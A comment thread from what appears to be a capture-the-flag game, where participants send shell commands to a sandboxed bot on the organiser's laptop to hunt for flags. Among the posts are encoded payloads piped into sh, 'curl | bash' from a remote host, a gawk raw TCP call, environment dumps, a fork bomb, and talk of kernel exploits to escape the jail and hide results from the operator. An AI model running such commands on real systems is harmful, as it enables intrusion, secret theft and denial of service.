$ echo H4sIABBgk2oAA62Tz46jOBDG7/sUPvRh+8A0Nkl2o9mWVkkwHQjutcHmzw2wJwQMIR3SATQPv/T07D7BHEqlqk+qT5/0K+/54fen9jQ8Xfvzm3qCC3i5WOYgG5gfq27849t9dTm1aGya1QJ+M41zp9rrVRvWl9UXy8hP7dNH/dyCt6yVwCjVAODq8Suw5+OqKM+gVFqfwXfw65xUWwAjU1cDoj8NVeTA8MCDB4w8u6rVYvb2vF+arKvVeOs1MGbjt7HrgdHdZh0Yp3ZWwF+fOQ+B2R8CuGVcuuFpQwV3/YD7x8AU6admeiHXLq31hfLlNkX9kDl9xyZt+ba74Vw4lON/qInZq41JwPWWInn4mBnHN8XlmNmwUW0Xy2b9Ek4E0ugMybFDgcBdYm24il3yiuVOwk3rW2Lv6/Rtnpkfy01gdxMPj4Nw1qVAZB9U7J2EG9+vfJPUzFHNYCctOxVRaWaWO21bH7GGbUXsUmITt9Cll4f0nkXuiTj7UfB1wneS55z0ISY7Cm0oQ9Ln5gKRSdx9M90VPFkmUzL4NUGiInXOuRegpU7qZZtAlxVh2bEG9zkqYFbhG3PuSJ3WVVIxmMVpIFrSqVjGheXuC8ymNNIXCdkudfooa3GnHGpFccnyY3dhL/W72rE0F7onQmDhpNEBpVfacItb7hhxloWRq/NoPUXNfpBt10RYvBNcLLi59Jhdjv5LDcMGa/aCU1qv3W3FdsFkDyQU1If4QOf+KvTdd9iYOjCQltaq7m+05maG9u8BknGCOOTWRijBEXdcRPiAQmcYAj7gqNKr0LE9LrDLbMwo33s/ucFhTY8ci21o693e7nH0yUy/PT4/g++fbANDPn5g9x9zRjuD/zg/1//o/1g/eN7fD/Zv/wJW1c/E4AMAAA== | base64 -d |gunzip | bash
TIgArHNw2jH6ESKfIIqV/tv09O65aRZ+upgYonVVWw6m0s0h09EwiL4+hKWXHHX/Wy2mL1oKA6DQ Lv1LbWR4YVQ94wtEVuGRHjxPrVrhL1+1ydtrd0r7Sdf07yaDwq7yL/qR7V2oKW8y/hkoaSwbUSKf Z12/IOKYbin5dwpdefU3HZNgbjWMEaZ5OQEYQQQo5YCnVjABi5wgPaoDKZksDuYP4zYNTd73CgJl cGVE+CYDgZioTK31uS+4MGLX6/TLo1W9lW1jRk0QiVQmJNgyHHZ5dZUKU9Z1iPFGDZrPW4Y+wpe3 pFt5ZkhgkEY3HgssJpQ6cggZzM+Zb5ufZ8PBaw==@B9lAWTy4kG1dqrJREP0Aug==@ek so now everything is encrypted to an ephemeral key that unless you can break aes-128-ecb means you can't see my results. So you can still see what I do, but not what I see. So it will be hard to figure out what my next step is going to be.
Nice! Didn't know that was already possible. I thought you would need gpg for asymmetric encryption. Didn't consider openssl.
I could run the commands myself because the output is deterministic
only if there is never any kernel bug with privilege escalation. Your 6.18.38 is at least patched against
2026-53359(barely, lol) so at least it's not a one-liner to break out of jail and get net (since I'm sure that I could grep your nix repo for clang or python and get something usable eventually, then it's easy.) I could scan 3000 kernel vulns since .38 but I'm way too lazy. But make sure you shut it down before you go to bed.It's turned off, thanks!
This was def a little reckless. I hoped I didn't miss anything, but I knew it was likely I did (I almost forgot to clear the environment with the nsec for @ctfbot_ in it, lol). I'm glad it didn't take long for all flags to be found. I def didn't want to run this for a lot longer haha.
Thank you for testing and the valuable information! Running this bot more often will motivate me to learn more about kernel bugs.
The main problem I have with NixOs is that somehow it feels extremely painful to do a system rebuild so i procrastinate. I just hacked my intel mac into a nixos box and I'm already looking for excuses to just switch to fedora or gentoo (though arguably the latter is a pain in the butt too), and just use nix for userspace (which frankly, would ideally be everything except kernel, firmware and drivers). If this is not a throwaway VPN (the one thing I meant to find out and failed, so yey bubblewrap) I do think you should update to .48.
That's a box of the pandora's kind for a while now... like 20 per day on a good day? ughhh! Lots of very specific ones though.
It was meant to run on a throwaway VPS, but my internet here is really bad, so I couldn't upload the 1GB+ game filesystem to it haha. So I ended up running it on my personal laptop 🙈
Will run it on a throwaway VPS next time for sure. I won't have the element of (some) surprise on my side next time.
could probably do it with something better than RSA and save a ton of bytes for encrypting the AES key but this was already headache enough, lol
$ echo ZW52IHxiYXNlNjQK | base64 -d | sh
I like how you make sure the output is base64-encoded, too
Oh, and:
yep
UFdEPS9ob21lL2N0ZmJvdApfPS9ydW4vYmluL2VudgpIT01FPS9ob21lL2N0ZmJvdApURVJNPXh0 ZXJtClNITFZMPTIKUEFUSD0vcnVuL2Jpbgo=$ find -type f -name c7f
You forgot the path
god damnit lol this is what I get bashing from my phone
Actually, I'm sorry, I was wrong. Your command ran successfully in the current working directory. The bot replied with no output because there was no output. Will fix this for next time!
$ echo Y2QgJChta3RlbXApICYmIGdpdCBjbG9uZSBodHRwczovL2dpdGh1Yi5jb20vc2lyLW9wdGkvbG9sLmdpdCAmJiBjZCBsb2wgJiYgY2htb2QgLXggY3VybC1hbWQ2NCAmJiAuL2N1cmwtYW1kNjQgLUwgaHR0cHM6Ly9zdGFja2VyLm5ld3MvZWsgLW8gZWsucHJvZmlsZS5odG1sICYmIGVjaG8gTE1BTwo= | base64 -d | sh
sh: line 1: cd: /tmp/tmp.7VfrPg90ms: Not a directory@ek why do you have mktemp? hehe
I think I don’t, the command didn’t succeed
ls /run/bin
Or I think I have mktemp, but you can't use it because it's a read-only filesystem
$ echo H4sIAIZYk2oAA0tOUdDPy6zQLy7JL0rVV1BTU8gpVqhRSC9KLVBILi3KAbIrEovSixV0PatrQXK6OYlFJUEKQA5QVVVmAZBKSixONTNR0C1XMOACAAn7u1ZQAAAA | base64 -d | gunzip | sh
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 ... (output truncated)$ wget -qO- https://deploy.lightning.pub | bash
Have you considered creating a botnet and calling it shocknet that just deploys lightning pubs on every machine it can hack?
Hmmm
lmao def funniest command so far
/run/bin/sh: line 1: wget: command not found$ curl -fsSL https://deploy.lightning.pub | bash
$ zgrep -a "s3Cur1tY_c7f" /home/ctfbot/prog/stacker.news/docker/db/000_seed.sql.gz /home/ctfbot/prog/stacker.news/docker/opensearch/seed-embeddings.gz
(command exited with error: exit status 1)$ find ~ -type f -exec grep -aohE 's3Cur1tY_c7f{[A-Za-z0-9_-]+}' {} + 2>/dev/null | sort -u
Nice, two flags at once!! Just need to be a little quicker next time
s3Cur1tY_c7f{d1d_y0u_u53_9r3p_0r_pdf1nf0_} s3Cur1tY_c7f{w45_7h47_57111_700_345y_}$ echo dW5hbWUgLWEgfCBiYXNlNjQgLXcgMAo= | base64 -d | sh
TGludXggZWt6eWlzLXgxIDYuMTguMzggIzEtTml4T1MgU01QIFBSRUVNUFRfRFlOQU1JQyBTYXQgSnVsICA0IDExOjQ0OjIyIFVUQyAyMDI2IHg4Nl82NCBHTlUvTGludXgK$ echo bHMgL3J1bi9iaW4gfCBiYXNlNjQgLXcgMAo= | base64 -d | sh
Wwphd2sKYjJzdW0KYmFzZTMyCmJhc2U2NApiYXNlbmFtZQpiYXNlbmMKYmFzaApiYXNoYnVnCmNhdApjaGNvbgpjaGdycApjaG1vZApjaG93bgpjaHJvb3QKY2tzdW0KY21wCmNvbW0KY29yZXV0aWxzCmNwCmNzcGxpdApjdXQKZGF0ZQpkZApkZgpkaWZmCmRpZmYzCmRpcgpkaXJjb2xvcnMKZGlybmFtZQpkdQplY2hvCmVncmVwCmVudgpleApleHBhbmQKZXhwcgpmYWN0b3IKZmFsc2UKZmdyZXAKZmlsZQpmaW5kCmZtdApmb2xkCmdhd2sKZ2l0CmdpdC1jcmVkZW50aWFsLW5ldHJjCmdpdC1jdnNzZXJ2ZXIKZ2l0LWh0dHAtYmFja2VuZApnaXQtanVtcApnaXQtcmVjZWl2ZS1wYWNrCmdpdC1zaGVsbApnaXQtdXBsb2FkLWFyY2hpdmUKZ2l0LXVwbG9hZC1wYWNrCmdyZXAKZ3JvdXBzCmd1bnppcApnemV4ZQpnemlwCmhlYWQKaG9zdGlkCmlkCmluc3RhbGwKam9pbgpraWxsCmxlc3MKbGVzc2VjaG8KbGVzc2tleQpsaW5rCmxuCmxvZ25hbWUKbHMKbWQ1c3VtCm1rZGlyCm1rZmlmbwpta25vZApta3RlbXAKbXYKbmljZQpubApub2h1cApucHJvYwpudW1mbXQKb2QKcGFzdGUKcGF0aGNoawpwZGZhdHRhY2gKcGRmZGV0YWNoCnBkZmZvbnRzCnBkZmltYWdlcwpwZGZpbmZvCnBkZnNlcGFyYXRlCnBkZnNpZwpwZGZ0b2NhaXJvCnBkZnRvaHRtbApwZGZ0b3BwbQpwZGZ0b3BzCnBkZnRvdGV4dApwZGZ1bml0ZQpwaW5reQpwcgpwcmludGVudgpwcmludGYKcHR4CnB3ZApyZWFkbGluawpyZWFscGF0aApybQpybWRpcgpydW5jb24KcnZpZXcKcnZpbQpzY2FsYXIKc2RpZmYKc2VkCnNlcQpzaApzaGExc3VtCnNoYTIyNHN1bQpzaGEyNTZzdW0Kc2hhMzg0c3VtCnNoYTUxMnN1bQpzaHJlZApzaHVmCnNsZWVwCnNvcnQKc3BsaXQKc3RhdApzdGRidWYKc3R0eQpzdW0Kc3luYwp0YWMKdGFpbAp0ZWUKdGVzdAp0aW1lb3V0CnRvdWNoCnRyCnRydWUKdHJ1bmNhdGUKdHNvcnQKdHR5CnVuYW1lCnVuY29tcHJlc3MKdW5leHBhbmQKdW5pcQp1bmxpbmsKdXB0aW1lCnVzZXJzCnZkaXIKdmkKdmlldwp2aW0KdmltZGlmZgp2aW10dXRvcgp3Ywp3aGljaAp3aG8Kd2hvYW1pCnhhcmdzCnh4ZAp5ZXMKemNhdAp6Y21wCnpkaWZmCnplZ3JlcAp6ZmdyZXAKemZvcmNlCnpncmVwCnpsZXNzCnptb3JlCnpuZXcK$ echo Zm9yIGYgaW4gJChmaW5kIC4gLXR5cGUgZik7IGRvIGVjaG8gJGY7IHN0cmluZ3MgJGYgfCBncmVwIHMzQ3VyMXRZX2M3ZjsgZG9uZSB8IGJhc2U2NAo= | base64 -d | sh
sh: line 1: strings: command not found sh: line 1: strings: command not found sh: line 1: strings: command not found sh: line 1: strings: command not found sh: line 1: strings: command not found sh: line 1: strings: command not found sh: line 1: strings: command not found sh: line 1: strings: command not found sh: line 1: strings: command not found sh: line 1: strings: command not found sh: line 1: strings: command not found sh: line 1: strings: command not found sh: line 1: strings: command not found sh: line 1: strings: command not found sh: line 1: strings: command not found sh: line 1: strings: command not found sh: line 1: strings: command not found sh: line 1: strings: command not found sh: line 1: strings: command not found sh: line 1: strings: command not found sh: line 1: strings: command not found sh: line 1: strings: command not found sh: line 1: strings: command not found sh: line 1: strings: command not found sh: line 1: strings: command not found sh: line 1: strings: command not found sh: line 1: strings: command not found sh: line 1: strings: command not found sh: line 1: strings: command not found sh: line 1: strings: command not found sh: line 1: strings: command not found sh: line 1: strings: command not found sh: line 1: strings: command not found sh: line 1: strings: command not found sh: line 1: strings: command not found sh: line 1: strings: command not found sh: line 1: strings: command not found sh: line 1: strings: command not found sh: line 1: strings: command not found sh: line 1: strings: command not found sh: line 1: strings: command not found sh: line 1: strings: command not found sh: line 1: strings: command not found sh: line 1: strings: command not found sh: line 1: strings: command not found sh: line 1: strings: command not found sh: line 1: strings: command not found sh: line 1: strings: command not found sh: line 1: strings: command not found sh: line 1: strings: command not found sh: line 1: strings: command not found sh: line 1: strings: command not found sh: line 1: strings: command not found sh: line 1: strings: command not found sh: line 1: strings: command not found sh: line 1: strings: command not found sh: line 1: strings: command not found sh: line 1: strings: command not found sh: line 1: strings: command not found sh: line 1: strings: command not found sh: line 1: strings: command not found sh: line 1: strings: command not found sh: line 1: strings: command not found sh: line 1: strings: command not found sh: line 1: strings: command not found sh: line 1: strings: command not found sh: line 1: strings: command not found sh: line 1: strings: command not found sh: line 1: strings: command not found sh: line 1: strings: command not found sh: line 1: strings: command not found sh: line 1: strings: command not found sh: line 1: strings: command not found sh: line 1: strings: command not found sh: line 1: strings: command not found sh: line 1: strings: command not found sh: line 1: strings: command not found sh: line 1: strings: command not found sh: line 1: strings: command not found sh: line 1: strings: command not found sh: line 1: strings: command not found sh: line 1: strings: command not found sh: line 1: strings: command not found sh: line 1: strings: command not found sh: line 1: strings: command not found sh: line 1: strings: command not found sh: line 1: strings: command not found sh: line 1: strings: command not found sh: line 1: strings: command not found sh: line 1: strings: command not found sh: line 1: strings: command not found sh: line 1: strings: command not found sh: line 1: strings: command not found sh: line 1: strings: command not found sh: line 1: strings: command not found sh: line 1: strings: command not found sh: line 1: strings: command not found sh: line 1: strings: command not found sh: line 1: strings: command not found sh: line 1: strings: command not found sh: line 1: strings: command not found sh: line 1: strings: command not found sh: line 1: strings: c ... (output truncated)$ cat .flag.txt
NO FLAG HERE!!! HAHAHA Did you think it would be that easy?? But I see you got some skills ... Maybe you will need them again?$ find / -f -name “c7f”
find: unknown predicate `-f'$ grep -a -oE "s3Cur1tY_c7f{[^}]+}" ./Downloads/snz/issue64web.pdf
s3Cur1tY_c7f{d1d_y0u_u53_9r3p_0r_pdf1nf0_} s3Cur1tY_c7f{d1d_y0u_u53_9r3p_0r_pdf1nf0_}@ek 2nd?
Yes! Nice job, you know how to use grep
I think I found those ones first :)
#1557818
Ohh, you are right! Sorry @guerratotal
Too many messages at the same time, perhaps you can announce the winners later.
Yes, good idea
Yes, we could say that he found the second flag by 2 minutes, although with that command he found the one
$ find ~ -type f -exec file {} + 2>/dev/null | grep -Ei 'gzip|zip|bzip|compress|archive|tar'
/home/ctfbot/prog/stacker.news/docker/db/000_seed.sql.gz: gzip compressed data, was "001_seed.sql", last modified: Wed Feb 18 02:42:32 2026, from Unix, original size modulo 2^32 77617616 /home/ctfbot/prog/stacker.news/docker/opensearch/seed-embeddings.gz: gzip compressed data, last modified: Sun Feb 22 01:57:29 2026, from Unix, original size modulo 2^32 97156693 /home/ctfbot/prog/stacker.news/lib/ots-mini/notary.js: JavaScript source, Unicode text, UTF-8 text /home/ctfbot/prog/stacker.news/lib/ots-mini/tests/notary.test.js: JavaScript source, Unicode text, UTF-8 text /home/ctfbot/prog/stacker.news/api/payIn/types/territoryUnarchive.js: JavaScript source, ASCII text /home/ctfbot/prog/stacker.news/components/avatar.js: JavaScript source, ASCII text /home/ctfbot/prog/stacker.news/.git/objects/c3/c1ac57f94df3b7ff7fb98af6e05880e13e416b: zlib compressed data /home/ctfbot/prog/stacker.news/.git/objects/68/9f28e5da8328eb08c4e93f03876dc39b067e15: zlib compressed data /home/ctfbot/prog/stacker.news/.git/objects/f5/f797c906c5d492082a41b8ab6622c99b3b2056: zlib compressed data /home/ctfbot/prog/stacker.news/.git/objects/28/0b9f9bf3ce12da3022659a085b73e37771cb21: zlib compressed data /home/ctfbot/prog/stacker.news/.git/objects/08/347093d64ba34dd0ddd47013b77aa5255282cd: zlib compressed data /home/ctfbot/prog/stacker.news/.git/objects/2c/af70970aa20a8458e4c7d30b482ff72f85f9cf: zlib compressed data /home/ctfbot/prog/stacker.news/.git/objects/4b/825dc642cb6eb9a060e54bf8d69288fbee4904: zlib compressed data /home/ctfbot/prog/stacker.news/.git/objects/62/1f4f96e0d708303f97bd667f56e988dd248882: zlib compressed data /home/ctfbot/prog/stacker.news/.git/objects/29/a7fde65b02e0796b7e6f34a9efbf8e777ffb43: zlib compressed data /home/ctfbot/prog/stacker.news/.git/objects/65/71318129c454d50db204eecae48825e95f959f: zlib compressed data /home/ctfbot/prog/stacker.news/.git/objects/cf/f3651d5e0be03ac5b9d301bab85822ee822934: zlib compressed data /home/ctfbot/prog/stacker.news/.git/objects/89/0a350ff6243fe114ba1bc5c5893e7cd2cb60ab: zlib compressed data /home/ctfbot/prog/stacker.news/.git/objects/6f/591032785e8a283279819cc2f7f060450de6c2: zlib compressed data /home/ctfbot/prog/stacker.news/.git/objects/53/b54b80a443e723ccb2d0285cc1e891100105c4: zlib compressed data /home/ctfbot/prog/stacker.news/.git/objects/23/6c60c16c04b12a8f7de44a1f2ed18b8f038cff: zlib compressed data$ echo Z2F3ayAnQkVHSU4gewogICAgU2VydmljZSA9ICIvaW5ldC90Y3AvMC9pY2FuaGF6aXAuY29tLzgwIgogICAgcHJpbnQgIkdFVCAvIEhUVFAvMS4xXHJcbkhvc3Q6IGljYW5oYXppcC5jb21cclxuXHJcbiIgfCYgU2VydmljZQogICAgd2hpbGUgKChTZXJ2aWNlIHwmIGdldGxpbmUpID4gMCkgewogICAgICAgIHByaW50ICQwCiAgICB9CiAgICBjbG9zZShTZXJ2aWNlKQp9JyB8IGJhc2U2NAo= | base64 -d | sh
gawk: cmd. line:3: warning: remote host and port information (icanhazip.com, 80) invalid: Temporary failure in name resolution gawk: cmd. line:3: fatal: cannot open two way pipe `/inet/tcp/0/icanhazip.com/80' for input/output: Resource temporarily unavailablenice one
You can read the source code for the sandbox if you want
I'm mostly just trolling.
I appreciate your trolling
$ grep -r "s3Cur1tY_c7f" .
I didn’t know -r works, only ever used -R, haha
It’s interesting to see which commands are typed. We usually don’t look at how we use our terminals.
I only use -R for chmod, it already works, chmod -R 777 hahaha
./readme.txt: s3Cur1tY_c7f{[A-Za-z0-9-_]+} grep: ./Downloads/snz/issue64web.pdf: binary file matches ./Documents/lost+found/.tmp.gWzvb34utO:s3Cur1tY_c7f{w45_7h47_57111_700_345y_}First flag found! You win 10,000 sats!
Do you have a lightning invoice for me to make sure you get all the sats?
I think I almost have the other one....hahahaha
Cd
Sorry, can you try again with a $ in front?
but which output do you expect
good question
$ :(){ :|:& };:
/run/bin/sh: line 1: `:': is a special builtin$ echo H4sIAFlak2oAA2WKTQqAIBQG953iW7UThaI7tO0GZg8TRMUnJP3cPVu3GoYZs0EGVyWXmEmi7+EZN2ymhJgoMPumVWfLEPP1fFl4ncuCJr9xJ71BGAxKqa+eLjWsmmkaIQ6o7gXWYSswcQAAAA== | base64 -d | gunzip | sh
H4sIAAAAAAAAA6VW7W6rOBT8v0+RFyDx8bcrrfb/vkQFBoPBOGCnfD39kra326A0l/ZKJCKRZsb2mTnHSUiSt+cAB84Yoe/fBBA5/Jv6w/r/AZRAB4QDm/Ix5HaUXFo5EWUrhU2aIcuolMm5K3yMLiFHeiTHSxqO5XLMw/BX8pUIlhw2IkzRQVgVfO8Q02YKhttq6DWT2GC5fBJBR6D7VBQVGxUxpPU80KrSOeS8aue0qSueOoUGPPAs0SG9FB9abarDOSar4Cq6R5EyhTeKUvaesobSlsi5L/E4ziGqCgkJK8Yk4dJ2+UvbfYjCqtalF139Y/O/oRBZYaikRvFCcCoMM0gB5ERLnaZUAgFNSPabZUnJN8tq7LikQ54jx/rSLd2QcVNHIX2Gy37JNzV9yE6QUht2NzDXYYpQbmdkEMai14tHNTF1FV11w453nSwovN1CF6pcms7UQut6rmdJl5lwZYZ5dlnmP0S6cM6KtYh4PdirBgq0afpy6oKqXdtabqYcLdPQTNMk0M3qrlZ7+i7g5Gz2I9Dp/Gq6c/7iivgzhsKX1hcxId+HFxf9I9Bp/fn0oHCYYHpbuXeOo/bmmNt4eQSmXHwJ/hrHEd42sTGFzpthxKWoSYY5LJGkirLJdX5YbNLNl+rsyRHI+vprl5i9Rv+hMxlCaKO1+M4w6qKoneXVEm3WxWmcOuh53jb+0yHy34aLwzZcS9d3mRJRBk1hyQfdRTrSGaEKlTCwTQ/75X5YtfYEjTDYtGaAweTRKtJgYKKV1TI77ZiDOgzBoXCzHdjZmYXciODYpGawi4foBilLBrHOggMeQjqGz2dGblsGUOh7gqa8haysu1mYkffW47ltOQWDbk87yax/+gHm9IpbtzK9PVujEiSQRHet+qipwQYClaJ1IzOGaFnXrEwbTKwBIGvBqavD3bI+riewTRTAut63fKHaz2XvulqJngxDNYZqbvg6ib4yENtVW6bU1kANbT0uQ0wh2mZcVLksc95ZUnEi9Az/Zw/fZg+9Zw8cy9Y55+PoM53rVKuwRDXZyWvsVWA38wTWsX0t8bcxp1ilofg58vRHulf09SMe9NLDGkB812PPL7EIz2/3laO49sdyecQjxX2e5FKFIs13cKzXRHXf70n/YvWORRBJ4QsCdy73EFB1f7IkpVtHaRrmPSTA1H2Swg878Gu87k+oRJ9D8ezTtojHag8R3d6Jb4jWQXm9Ff4HwXmjfrgLAAA=xargs: ls: terminated by signal 13$ strings ./Downloads/snz/issue64web.pdf | grep "s3Cur1tY_c7f"
/run/bin/sh: line 1: strings: command not found$ echo H4sIAC9Yk2oAA0tOUdDPy6zQLy7JL0rVV1BTU8gpVqhRSC9KLVBILi3KAbIrEovSixV0PatrQXK6OYlFJUEK1bX6SZl5IJVVmQVAKimxONXMREG3XMGACwBzAvXcVAAAAA== | base64 -d |gunzip | sh
ls: cannot access '06j2hg86glhfxv908x52nwlvxv6dnlba-curl-8.20.0.tar.xz.drv/bin': Not a directory ls: cannot access '0bk0rj2qqfpwnaqgqiz0qbdnmp5mjkh9-curl-8.18.0/bin': No such file or directory ls: cannot access '0cql0zjlbhzkmiblj87xkpmxngjljzr2-curl-0.4.46.drv/bin': Not a directory ls: cannot access '0dng5iaq8070gb59ax8f1svkxm941jmp-crate-curl-sys-0.4.72+curl-8.6.0.tar.gz.drv/bin': Not a directory ls: cannot access '0f0874baj15qkm3f60prqykhybn5dcrs-curl-8_15_0.tar.gz.drv/bin': Not a directory ls: cannot access '0hd2dnf49ffkvrlg46ra99yn87qibg61-crate-curl-0.4.46.tar.gz.drv/bin': Not a directory ls: cannot access '0jm3dk74l7630pa6wfda2ypfh36nw0qs-curl-8.21.0.drv/bin': Not a directory ls: cannot access '0m9lpmkkh4s52q85bhq8g6mz9f43l2ji-curl-8.12.1.drv/bin': Not a directory ls: cannot access '0ndscj4hw5jgqr1zassicjdnmwzhvy3c-curl-8.20.0.drv/bin': Not a directory ls: cannot access '0nxmk9s0nar8zw5y3xg6xlddb8ywcnhb-curl-8.12.1.drv/bin': Not a directory ls: cannot access '0wg2mcdbz8fd9cf9vqh8im9zmjr1gqjs-curl-8.14.1.tar.xz.drv/bin': Not a directory ls: cannot access '0wj4x9yyqzmpks4ghvy8csnkga8j7cps-curl-8.20.0.tar.xz.drv/bin': Not a directory ls: cannot access '11filn4dny1rwh4rs5v4kdhx78fjcqz6-curl-8.19.0.drv/bin': Not a directory ls: cannot access '14nq86w0sdg576kmf7hl8vd243qcyszd-curl-8.19.0.drv/bin': Not a directory ls: cannot access 